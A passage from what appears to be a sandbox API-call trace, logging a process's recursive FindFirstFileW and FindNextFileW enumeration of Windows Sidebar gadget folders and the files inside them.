nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.066] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.066] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fbf39ab, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fbf39ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xecdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0061.066] GetLastError () returned 0x12 [0061.066] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0061.067] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.067] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="")) returned 1 [0061.067] GetLastError () returned 0x12 [0061.067] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0061.067] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0061.068] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0061.068] GetLastError () returned 0x12 [0061.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0061.068] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.068] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38816739, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0061.069] GetLastError () returned 0x12 [0061.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.069] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.069] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0061.070] GetLastError () returned 0x12 [0061.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.119] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.119] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0061.120] GetLastError () returned 0x12 [0061.120] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.120] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.120] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0061.120] GetLastError () returned 0x12 [0061.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.123] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.123] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0061.123] GetLastError () returned 0x12 [0061.123] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.123] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.123] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0061.123] GetLastError () returned 0x12 [0061.123] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0061.123] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.123] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0061.124] GetLastError () returned 0x12 [0061.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0061.134] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.136] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0061.136] GetLastError () returned 0x12 [0061.136] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0061.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.137] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0061.137] GetLastError () returned 0x12 [0061.137] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0061.137] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0061.138] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0061.138] GetLastError () returned 0x12 [0061.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0061.139] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.139] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0061.139] GetLastError () returned 0x12 [0061.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0061.182] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.182] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0061.182] GetLastError () returned 0x12 [0061.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.182] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.182] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0061.182] GetLastError () returned 0x12 [0061.182] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.182] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.182] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0061.183] GetLastError () returned 0x12 [0061.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0061.183] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.183] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0061.183] GetLastError () returned 0x12 [0061.183] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0061.183] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0061.183] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0061.183] GetLastError () returned 0x12 [0061.183] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0061.184] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0061.184] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, 